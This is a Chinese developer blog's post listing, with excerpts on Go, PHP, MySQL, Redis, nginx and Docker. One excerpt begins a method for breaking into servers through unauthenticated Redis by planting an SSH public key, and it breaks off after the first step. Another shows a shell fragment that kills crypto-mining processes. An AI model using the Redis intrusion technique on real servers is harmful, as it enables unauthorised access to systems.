自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(48)
  • 收藏
  • 关注

原创 Golang Option选项模式

【代码】Golang Option选项模式。

2024-04-14 17:04:45 123

原创 Swift_SmtpTransport 465端口发送失败问题

smtp_port=25$transport = new Swift_SmtpTransport('smtp.example.org', 25);smtp_port=465$transport = new Swift_SmtpTransport('smtp.example.org', 465, 'ssl');// Create the Transport$transport = (new Swift_SmtpTransport('smtp.gmail.com', 465, 'ssl').

2020-11-12 16:02:38 761

原创 mysql导入导出sql文件

一、导入方法一:mysql>source /home/abc/abc.sql;方法二:mysql -u用户名 -p密码 数据库名 < 数据库名.sqlmysql -h 127.0.0.1 -uroot -p abc < abc.sql二、导出导出数据和表结构:mysqldump -u用户名 -p密码 数据库名 > 数据库名.sqlmysqldump -uroot -p abc > abc.sql敲回车后会提示输入密码只导出表结构mysqldump

2020-09-20 08:31:08 175

翻译 go语言学习笔记 - float and string 转换

String to floatUse thestrconv.ParseFloatfunction to parse a string as a floating-point number with the precision specified bybitSize: 32 forfloat32, or 64 forfloat64.func ParseFloat(s string, bitSize int) (float64, error)WhenbitSizeis 32, the...

2020-07-16 09:50:30 1111

原创 go语言学习笔记 - 结构体

type A struct { Name string `json:"name"` Password string `json:"password"` Email string `json:"email,omitempty"` //为空时字段会被忽略}type B struct { *A Friends[] string `json:"friends,omitempty"`}type C struct { A *A Friends[] string `json:"friends,

2020-07-03 17:55:39 148

原创 go语言学习笔记 - 时间

nTime := time.Now() fmt.Println(nTime) //格式化的时间 fmt.Println(nTime.Format("2006-01-02 15:04:05")) //时间戳 fmt.Println(nTime.Unix()) //昨天 yesTime := nTime.AddDate(0,0,-1) fmt.Println(yesTime) logDay := yesTime.Format("2006-01-02 15:04:05") fmt.Prin.

2020-06-29 19:13:59 182

原创 数据标注系统 - 图片标注进度

进度设计

2020-06-02 18:44:22 490

原创 mysql导表结构引发线上锁表事故

14点开始运维导线上表结构,导致大量表被锁,大批量请求锁等待,继发连接数被打满,引发雪崩原来的导表语句mysqldump -d data_sys -uroot -p >> /home/users/xx/29_data_sys.sql优化后的语句mysqldump --single-transaction --skip-lock-tables som...

2019-11-28 09:42:39 377

转载 TIME_WAIT引起Cannot assign requested address报错

1. 问题描述 有时候用redis客户端(php或者java客户端)连接Redis服务器,报错:“Cannot assign requested address。” 原因是客户端频繁的连接服务器,由于每次连接都在很短时间内结束,导致很多的TIME_WAIT。所以新的连接没办法绑定端口,即“Cannot assign requested address”。 我们...

2019-11-07 15:11:10 592

原创 PHP开发环境安装

1.安装PHP5.6.37./configure \--prefix=/home/yaoxiaofeng/soft/php \--with-mysql=mysqlnd \--with-mysqli=mysqlnd \--with-pdo-mysql=mysqlnd \--with-iconv-dir=/usr/local/libiconv \--with-freetype-dir ...

2018-09-12 18:57:39 149

原创 PHP mysqli_connect 报错问题总结

现象:PHP Warning: mysqli_connect(): (HY000/2002): Operation now in progress 找到原因是在mysqli_connect执行之前有一行代代码 ini_set('default_socket_timeout', -1); 把-1改成&gt;0的数字就可以了。...

2018-09-11 23:16:01 2756

原创 伯克利大学数据结构课程

http://datastructur.es/sp17/CS61B-Data Structures UC berkeley

2018-08-08 10:01:26 3479

原创 被攻击脚本

#!/bin/bashps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9ps -ef | grep supportxmr | grep -v grep...

2018-05-02 09:34:55 958

原创 顶级目录git怎么追踪子级git的所有文件

用composer拉了doctrine,发现该目录下的annatation提交不上去目录结构如下 topdir + +-- .git +-- fileA +-- fileB + another-git-directory +-- .git +-- fi...

2018-04-18 11:13:07 699

原创 利用redis漏洞入侵服务器

目标机:172.16.20.173登录机:172.16.20.55假设172.16.20.173 开放6379端口,并且暴露在公网上没有设置密码,嘿嘿,那么你就知道后面发生的事情了。首先把自己的公钥写到一个临时文件中,注意前后要加换行,不然会导致找不到对应的秘钥# $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") &gt; foo.txt# re...

2018-04-12 21:47:30 1255

转载 php使用redis的scan命令时遇到的坑

以前的项目中有用到redis的keys命令来获取某些key,这个命令在数据库特别大的情况会block很长一段时间,所以有很大的安全隐患,所以这次打算优化一下。官网建议使用scan命令来代替。于是就用了……以下是使用scan命令来匹配相应模式的key的代码:$redis = new Redis();$redis-&gt;connect('localhost', 6379);$iterator ...

2018-04-03 22:36:23 9929

原创 【常用类库】时间帮助类

&lt;?php/** * 时间帮助类 * Created by PhpStorm. * User: yaoxiaofeng * Date: 17/10/24 * Time: 下午10:51 */namespace App\Lib;class DateHelper{ const YYYYMMDDHHIISSsss = "YYYYMMDDHHIISSsss"; ...

2018-04-02 15:44:19 160

原创 PHP7编译安装openssl

编译安装的PHP7,缺少openssl的支持,现在继续编译按照openssl.so模块。不写原理,只写过程。先找到自己对应版本的php源码目录,进入php7的源码目录,进入ext/openssl;将config0.m4修改为config.m4;(不知为啥要设置这样一个障碍)运行:/usr/local/php/bin/phpize./configure --with-php-config=/usr/...

2018-03-20 17:00:47 2959

转载 composer命令介绍之install和update及其区别

composer 是 php 的一个依赖管理工具。它允许你申明项目所依赖的代码库,它会在你的项目中为你安装他们。然而,对于如何『安装他们』,新手可能并不清楚。网上的答案有的说 composer install,有的说composer update,而这两者似乎都能成功把依赖下载下来并安装好,那么他们究竟有何区别呢?首先要搞清楚的一件事情是,所有的依赖都定义在composer.json中,手册中给出...

2018-03-17 13:05:48 347

原创 Phalcon二三事

1、安装git clone git://github.com/phalcon/cphalcon.gitcd cphalcon/buildsudo ./install --phpize /usr/bin/phpize5.6 --php-config /usr/bin/php-config5.6 --arch 64bits这边安装的时候吧--phpize 和 --php-config替换成自己...

2018-03-07 22:23:32 172

原创 openrestry docker启动

docker run -d --name="openresty-nginx" -p 8080:80 -v /Users/yaoxiaofeng/DockerOpt/openresty/config/nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro -v /Users/yaoxiaofeng/DockerOpt/openresty/lo

2017-12-23 09:12:39 1300

原创 nginx location配置

在wx-test.luochen.com 域名下访问自定义静态文件比如:http://wx-test.luochen.com/test/index.htmlnginx配置 location /test/ {         root /usr/local/nginx/html/; }注意:/usr/local/nginx/html/ 目录下要有test文件夹

2017-08-18 17:46:28 186

原创 PHPSTORM奇淫技巧

http://phpstorm.tips/https://laracasts.com/series/how-to-be-awesome-in-phpstorm/episodes/7

2017-07-20 22:50:43 493

原创 线上问题集锦

1、问题:公司网络大范围出现登录失败情况,用4G正常登录解决:登录的IP错误次数key出了问题,redis 的可以为  “yh:now:login:fail:black_ 218.xx.75.xx”,ip中间多了空格,可恶啊,修改了获取IP的函数,加了trim过滤了下空格public static function getClientIp() {    $ip = "";    i

2017-06-20 15:57:19 243

原创 mac搭建docker lnmp环境

记录下创建步骤1、docker run -d --name myFpm -p 9000:9000 -v ~/DockerApp/docker-lnmp/app/src:/usr/share/nginx/html php:7.0.5-fpm2、docker run -d --name myNginx -p 80:80 -v ~/DockerApp/docker-lnmp/app/src:/u

2017-06-08 22:50:42 1948

原创 记录thinkphp5的一些坑

1、 用input('uid')获取不到,要用修饰符是/a变量修饰符input函数支持对变量使用修饰符功能,可以更好的过滤变量。用法如下: input('变量类型.变量名/修饰符');或者Request::instance()->变量类型('变量名/修饰符');例如:input('get.id/d');input('post.name/s');input('

2017-04-02 17:22:15 432

原创 Java线程池

package com.learn;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;/** * Created by yaoxiaofeng on 17/3/27. */public class TestExecutorService { static cl

2017-03-27 22:30:33 229

转载 Java知识点集锦

1、HashSet和TreeSet有什么区别?HashSet是由一个hash表来实现的,因此,它的元素是无序的。add(),remove(),contains()方法的时间复杂度是O(1)。另一方面,TreeSet是由一个树形的结构来实现的,它里面的元素是有序的。因此,add(),remove(),contains()方法的时间复杂度是O(logn)。

2017-03-26 19:22:03 212

原创 数据库读写分离带来的问题

线上楼层错误问题1.0版本的代码,先查最大楼层号,测试环境怎么测都没问题后来线上出了问题,以为是并发造成的,于是在发评论的时候加了锁结果发现,还是有问题。这就纳闷了,后来询问以前做这个项目的人,他说这个项目是读写分离的,心想那估计是这个问题了,于是用redis来操作//查询最大楼层号 + 1int maxFloorNum = (int) countCache.in

2017-03-17 17:23:00 1327

原创 记录PHP易错题

1// $a = "hello";// $b = &$a;// unset($b);// echo $a;//输出 hello2// var_dump(empty(false));输出 true3// $a = "abc";// $b = "abcde";// $cmp = strcmp($a, $b);// echo $

2017-02-19 12:08:32 402

原创 码农日记-1

今天是用java重构资讯代码上线的日子,从早上9:00一直忙到晚上7:00才下班。。。欲哭无泪这次只上了重构好的五个接口,原理是在nginx上用location配置做重定向。先让运维把java代码发布了,然后用灰度环境引流,起初以为原来php的灰度环境可用,于是把灰度环境上的nginx配置修改好,打好灰度的app包,开始访问抓包,没有返回,询问运维,运维说隔离子网后,灰度机器访问不了线

2017-02-09 22:12:37 368

转载 git命令概览

转自简书 http://www.jianshu.com/p/da3ee7d07a03

2016-12-04 20:42:45 195

原创 安装PHP-FPM

1、安装PHP7先安装依赖yum install php-mcrypt libmcrypt libmcrypt-devel libxml2-devel openssl-devel libcurl-devel libjpeg.x86_64 libpng.x86_64 freetype.x86_64 libjpeg-devel.x86_64 libpng-devel.x86_64 free

2016-11-09 11:13:35 334

原创 安装nginx

暂定工作目录 /vagrant代码安装目录 /Data/local准备好pcre-8.38.tar.gz、zlib-1.2.8.tar.gz、openssl-1.0.1t.tar.gz、nginx-1.11.5.tar.gz文件放在 /vagrant下yum -yinstall gcc automake autoconf libtoolmakeyum ins

2016-11-09 11:12:27 226

原创 参加PHPCONChina 2016大会

参加PHPCONChina 2016大会第一次参加PHPCONChina大会 大会大屏幕 鸟哥的演讲《PHP7高性能之源》 和国内最有影响力的PHP技术专家, PHP开发组核心成员,惠新宸(鸟哥)合影

2016-10-11 17:44:24 499

原创 MAMP下安装Swoole拓展

最近想学习swoole框架,涉及到安装部分,遇到一些小坑。在此记录一下。swoole安装方式有两种,一种是使用pecl一键安装,这种方式最简单。另一种方式是源码编译安装。OS X自带一个PHP,但是版本过低,我使用的是MAMP集成环境,直接集成了Apache和PHP等工具,PHP版本是5.6.10。在命令行中默认输入php,使用的是系统自带的PHP,此版本的PHP版本过低,也不包括PECL工具。所以

2016-10-11 17:43:30 2543

原创 linux下shell执行PHP不成功问题

今天在给swoole写的TCP服务器写了一个进程守护脚本,保证服务挂了或被操作系统误杀后能自动重启然后把.sh脚本加入到crontab里去,我设的是每隔1min执行一次的,过了1min发现服务还没有起来,于是查看cron有没有执行我的shell脚本,用 tail -f /var/logs/cron查看发现最新的日志是很久以前的,然后我怀疑是cron没有执行,于是我有在shell脚本里输出字符串重定向

2016-10-11 17:42:18 4531

原创 自编译安装Swoole拓展

安装PHP7依赖yum install php-mcrypt libmcrypt libmcrypt-devel libxml2-devel openssl-devel libcurl-devel libjpeg.x86_64 libpng.x86_64 freetype.x86_64 libjpeg-devel.x86_64 libpng-devel.x86_64 freetype-devel.x

2016-10-11 17:41:34 1566

原创 Mysql存储emoji表情

1、把数据表格式设置成utf8mb4ALTER TABLE `tbl_live_comment00`DEFAULT CHARACTER SET=utf8mb4 COLLATE=utf8mb4_general_ci;2、把要存储的字段设置成utf8mb4ALTER TABLE `tbl_live_comment00`MODIFY COLUMN `comment` varchar(200) CH

2016-10-11 17:40:53 260

原创 定位集群产生的接口问题

今天复杂sso的同事不在,让我帮忙处理一个问题,说java的用户组调用sso说返回异常,于是他们贴了下日志call sso method: associate/index@{nick=[], refresh_token=[], auth=[ABC125864], sign=[f5ec2d0f0ead8a932a950219515a533f], alipay_email=[], type=[4],

2016-10-11 17:40:26 300

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除